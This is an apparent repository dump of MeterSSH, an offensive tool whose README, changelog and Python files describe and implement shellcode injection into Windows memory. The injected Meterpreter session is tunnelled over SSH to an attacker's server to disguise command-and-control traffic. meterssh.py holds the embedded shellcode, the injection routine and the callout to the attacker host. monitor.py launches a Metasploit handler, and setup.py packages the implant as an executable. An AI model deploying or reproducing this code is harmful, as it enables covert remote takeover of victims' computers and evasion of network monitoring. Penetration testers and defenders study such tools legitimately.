├── CHANGELOG.txt ├── README.md ├── meterssh.py ├── monitor.py └── setup.py /CHANGELOG.txt: -------------------------------------------------------------------------------- 1 | ~~~~~~~~~~~~~~~~~~~~~~~ 2 | version 1.0 3 | ~~~~~~~~~~~~~~~~~~~~~~~ 4 | 5 | * initial release of meterssh 6 | 7 | ~~~~~~~~~~~~~~~~~~~~~~~ 8 | version 2.0 9 | ~~~~~~~~~~~~~~~~~~~~~~~ 10 | 11 | * Replaced reverse forward with regular port forward and reverse_tcp payload. This change removes the need for any special handler on the attacker's side. 12 | * Added much more resilient error checking. 13 | * Added ability to specify ip and port from command line. 14 | * Added support of RSA, DSA (DSS), ECDSA key authentication instead of passwords. 15 | * Removed subprocess, multiprocess, and threading libraries and rewrote corresponding code to use only _thread. Code is much simplified and should be more compatible with py2exe. 16 | * Upgrade to Python 3.4 17 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Tool Name: MeterSSH 2 | Written by: David Kennedy 3 | Company: TrustedSec 4 | Website: https://www.trustedsec.com 5 | Twitter: @TrustedSec, @HackingDave 6 | 7 | MeterSSH is a way to take shellcode, inject it into memory then tunnel whatever port you want to over SSH to mask any type of communications as a normal SSH connection. The way it works is by injecting shellcode into memory, then wrapping a port spawned (meterpeter in this case) by the shellcode over SSH back to the attackers machine. Then connecting with meterpreter's listener to localhost will communicate through the SSH proxy, to the victim through the SSH tunnel. All communications are relayed through the SSH tunnel and not through the network. 8 | 9 | ### Features 10 | 11 | 1. Meterpreter over SSH 12 | 2. Ability to configure different IP's, addresses, etc. without the need to ever change the shellcode. 13 | 3. Monitor for the SSH connection and automatically spawn the shell 14 | 15 | ### Bugs and enhancements 16 | 17 | For bug reports or enhancements, please open an issue here https://github.com/trustedsec/artillery/issues 18 | 19 | ### Usage 20 | 21 | There are two files, monitor.py and meterssh.py. 22 | 23 | monitor.py - run this in order to listen for an SSH connection, it will poll for 8021 on localhost for an SSH tunnel then spawn Metasploit for you automatically to grab the shell. 24 | meterssh.py - this is what you would deploy to the victim machine - note that most windows machines wont have Python installed, its recommended to compile Python with py2exe or pyinstaller. 25 | 26 | Fields you need to edit inside meterssh.py 27 | 28 | user = "sshuser" 29 | # password for SSH 30 | password = "sshpw" 31 | # this is where your SSH server is running 32 | rhost = "192.168.1.1" 33 | # remote SSH port - this is the attackers SSH server 34 | port = "22" 35 | 36 | 37 | user - this is the user account for the attackers SSH server (do not use root, does not need root) 38 | password - this is the password for the attackers SSH server 39 | rhost - this is the attackers SSH server IP address 40 | port - this is the attackers SSH server port 41 | 42 | Note that you DO NOT need to change the Metasploit shellcode, the Metasploit shellcode is simply an unmodified windows/meterpreter/bind_tcp that binds to port 8021. If you want to change this, just switch the shellcode out and change port 8021 inside the script to bind to whatever port you want to. You do not need to do this however unless you want to customize/modify. 43 | 44 | ### Supported platforms 45 | 46 | - Windows 47 | 48 | ### License 49 | 50 | 51 | Copyright 2016, MeterSSH by TrustedSec, LLC 52 | All rights reserved. 53 | 54 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 55 | 56 | * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 57 | * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 58 | * Neither the name of MeterSSH nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 59 | 60 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 61 | 62 | The above licensing was taken from the BSD licensing and is applied to MeterSSH as well. 63 | 64 | Note that the MeterSSH is provided as is, and is a royalty free open-source application. 65 | 66 | Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit is due (which means giving the authors the credit they deserve for writing it). Also note that by using this software, if you ever see the creator of SET in a bar, you should give him a hug and buy him a beer. Hug must last at least 5 seconds. Author holds the right to refuse the hug (most likely will never happen) or the beer (also most likely will never happen). 67 | 68 | -------------------------------------------------------------------------------- /meterssh.py: -------------------------------------------------------------------------------- 1 | from socket import socket 2 | from ctypes import pythonapi 3 | from io import StringIO 4 | import socketserver as SocketServer 5 | import sys, os, paramiko, time, ctypes, _thread, select 6 | 7 | 8 | ##################################################################################### 9 | # 10 | # MeterSSH 11 | # Tunneling Shellcode over SSH 12 | # 13 | # Written by: David Kennedy (ReL1K) 14 | # Website: https://www.trustedsec.com 15 | # Twitter: @TrustedSec @HackingDave 16 | # 17 | # Simple add your username, password, remote IP, and remote port 18 | # for your SSH server and watch the magic. 19 | # 20 | # Note that you can easily make this into a binary with pyinstaller or py2exe 21 | # 22 | # Special thanks for version 2 from shellster 23 | # 24 | ##################################################################################### 25 | 26 | 27 | listener_setup = False 28 | 29 | # define our shellcode injection code through ctypes 30 | def inject(shellcode): 31 | global listener_setup 32 | 33 | #Dirty wait for listener setup 34 | while listener_setup == False: 35 | time.sleep(1) 36 | 37 | print('[*] Shellcode injection loaded into memory...') 38 | print('[*] You should have a shell raining in a sec...') 39 | 40 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 41 | ctypes.c_int(len(shellcode)), 42 | ctypes.c_int(0x3000), 43 | ctypes.c_int(0x40)) 44 | ctypes.windll.kernel32.VirtualLock(ctypes.c_int(ptr), 45 | ctypes.c_int(len(shellcode))) 46 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 47 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr).value, 48 | buf, 49 | ctypes.c_int(len(shellcode)).value) 50 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 51 | ctypes.c_int(0), 52 | ctypes.c_int(ptr), 53 | ctypes.c_int(0), 54 | ctypes.c_int(0), 55 | ctypes.pointer(ctypes.c_int(0))) 56 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) 57 | 58 | class ForwardServer (SocketServer.ThreadingTCPServer): 59 | def __init__(self, con, handler): 60 | super().__init__(con, handler) 61 | global listener_setup 62 | listener_setup = True 63 | 64 | daemon_threads = True 65 | allow_reuse_address = True 66 | 67 | class Handler (SocketServer.BaseRequestHandler): 68 | def handle(self): 69 | try: 70 | chan = self.ssh_transport.open_channel('direct-tcpip', (self.chain_host, self.chain_port), self.request.getpeername()) 71 | except Exception as e: 72 | print('Incoming request to %s:%d failed: %s' % (self.chain_host, self.chain_port, repr(e))) 73 | return 74 | 75 | if chan is None: 76 | print('Incoming request to %s:%d was rejected by the SSH server.' % (self.chain_host, self.chain_port)) 77 | return 78 | 79 | #print('Connected! Tunnel open %r -> %r -> %r' % (self.request.getpeername(), chan.getpeername(), (self.chain_host, self.chain_port))) 80 | 81 | try: 82 | while True: 83 | r, w, x = select.select([self.request, chan], [], []) 84 | if self.request in r: 85 | data = self.request.recv(1024) 86 | if len(data) == 0: 87 | break 88 | chan.send(data) 89 | if chan in r: 90 | data = chan.recv(1024) 91 | if len(data) == 0: 92 | break 93 | self.request.send(data) 94 | except: 95 | pass 96 | finally: 97 | peername = self.request.getpeername() 98 | chan.close() 99 | self.request.close() 100 | 101 | print('Tunnel closed from %r' % (peername,)) 102 | 103 | 104 | def forward_tunnel(local_host, local_port, remote_host, remote_port, transport): 105 | # this is a little convoluted, but lets me configure things for the Handler 106 | # object. (SocketServer doesn't give Handlers any way to access the outer 107 | # server normally.) 108 | class SubHander (Handler): 109 | chain_host = remote_host 110 | chain_port = remote_port 111 | ssh_transport = transport 112 | 113 | ForwardServer((local_host, local_port), SubHander).serve_forever() 114 | 115 | # main class here 116 | def main(user, privatekey, password, rhost, port, rport): 117 | # Update server port from command line if provided. 118 | if len(sys.argv) == 2: 119 | temp = sys.argv[1].split(':') 120 | rhost = temp[0] 121 | port = temp[1] 122 | 123 | if len(temp) == 3: 124 | rport = temp[2] 125 | 126 | server = [rhost, int(port)] # our ssh server 127 | remote = [rhost, int(rport)] # what we want to tunnel 128 | client = paramiko.SSHClient() # use the paramiko SSHClient 129 | client.load_system_host_keys() # load SSH keys 130 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # automatically add SSH key 131 | 132 | # loop until you connect successfully 133 | while True: 134 | try: 135 | pkey = None 136 | 137 | if privatekey: 138 | fkey = StringIO(privatekey) 139 | 140 | if 'BEGIN RSA' in privatekey: 141 | pkey = paramiko.RSAKey.from_private_key(fkey) 142 | elif 'BEGIN DSA' in privatekey or 'BEGIN DSS' in privatekey: 143 | pkey = paramiko.DSSKey.from_private_key(fkey) 144 | elif 'BEGIN ECDSA' in privatekey: 145 | pkey = paramiko.ECDSAKey.from_private_key(fkey) 146 | 147 | print('[*] Tunneling SSH, this takes a moment.') 148 | client.connect(server[0], server[1], username=user, pkey=pkey, look_for_keys=False, password=password) 149 | 150 | except Exception as e: 151 | print('[X] Failed to connect to %s:%d: %r Trying to connect again...' % (server[0], server[1], e)) 152 | time.sleep(5) 153 | 154 | else: 155 | # let you know if you connected successfully then finish 156 | print('[*] Connected to %s:%d: successfully' % (server[0], server[1])) 157 | break 158 | 159 | try: 160 | print('[*] Spawning reverse tcp meterpreter to forward over ssh on port: %d' % (remote[1])) 161 | forward_tunnel('127.0.0.1', 8021, remote[0], remote[1], client.get_transport()) 162 | 163 | except Exception as e: 164 | print(e) 165 | 166 | if __name__ == '__main__': 167 | # this is traditional metasploit windows/meterpreter/reverse_tcp that connects to 127.0.0.1 on port 8021 - meterssh will then take port 8021 or specified port and wrap over SSH 168 | shellcode = bytearray(b'\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x7f\x00\x00\x01\x68\x02\x00\x1f\x55\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5') 169 | 170 | # this starts the main routine which is where we get all our port forward stuff - fill in the information below 171 | user = '' 172 | # SSH private key MUST BE exact text and formatting of id_* file (You can set the password to None if you choose this option (Recommended) 173 | # Set privatekey = None if you want to use a password. 174 | privatekey = None 175 | # password for SSH 176 | password = '' 177 | # This is where your SSH server is running, but can be None if you plan to specify it by command line on run. 178 | rhost = '' 179 | # This is the remote SSH port - this is the attackers SSH server, but can be None if you plane to specify it by command line on run. 180 | port = '' 181 | # This is the localhost port that your reverse shell handler is listening on 182 | rport = '' 183 | 184 | try: 185 | _thread.start_new_thread(inject,(shellcode,)) 186 | except Exception as e: 187 | print(e) 188 | 189 | try: 190 | main(user, privatekey, password, rhost, port, rport) 191 | except Exception as e: 192 | print(e) 193 | 194 | while True: 195 | time.sleep(1) 196 | -------------------------------------------------------------------------------- /monitor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import time 3 | import subprocess 4 | import re 5 | # 6 | # Reverse SSH tunnel monitor for meterssh. 7 | # 8 | # Simply run python monitor.py and wait for your shell to come back 9 | # 10 | # Written by: David Kennedy (ReL1K) 11 | # Website: https://www.trustedsec.com 12 | # Twitter: @TrustedSec @HackingDave 13 | # 14 | # 15 | 16 | print "[*] Launching count monitor at 5 second intervals..." 17 | while 1: 18 | print "[*] Polling... Waiting for connection into SSH encrypted tunnel..." 19 | proc = subprocess.Popen("netstat -antp | grep 8021", stdout=subprocess.PIPE, shell=True) 20 | stdout = proc.communicate()[0] 21 | if "8021" in stdout: 22 | print "[*] Encrypted tunnel identified. Yipee, we gots a shell!" 23 | time.sleep(1) 24 | print "[*] Creating a quick Metasploit answer file for you.." 25 | filewrite = file("answer.txt", "w") 26 | filewrite.write("use multi/handler\nset payload windows/meterpreter/bind_tcp\nset RHOST 0.0.0.0\nset LPORT 8021\nexploit") 27 | filewrite.close() 28 | time.sleep(1) 29 | print "[*] Launching Metasploit... Wait one minute..." 30 | subprocess.Popen("msfconsole -r answer.txt", shell=True).wait() 31 | print "[*] All done! Wrapping things up." 32 | subprocess.Popen("rm answer.txt", shell=True).wait() 33 | break 34 | else: 35 | time.sleep(5) 36 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from distutils.core import setup 2 | from ctypes import pythonapi 3 | from socket import socket 4 | import py2exe, sys, paramiko, ecdsa, ssl, ctypes, _ctypes, _thread 5 | 6 | sys.argv.append('py2exe') 7 | 8 | setup( 9 | options = {'py2exe': {'bundle_files': 1, 'optimize': 2, 'packages': ['paramiko', 'Crypto', 'ecdsa', 'ctypes'], 'includes': ['paramiko', 'Crypto', 'ecdsa', 'socket', 'ctypes', '_ctypes'], 'excludes':["pywin","tkinter","tcl"]}}, 10 | console = [{'script': "meterssh.py"}], 11 | zipfile = None, 12 | ) --------------------------------------------------------------------------------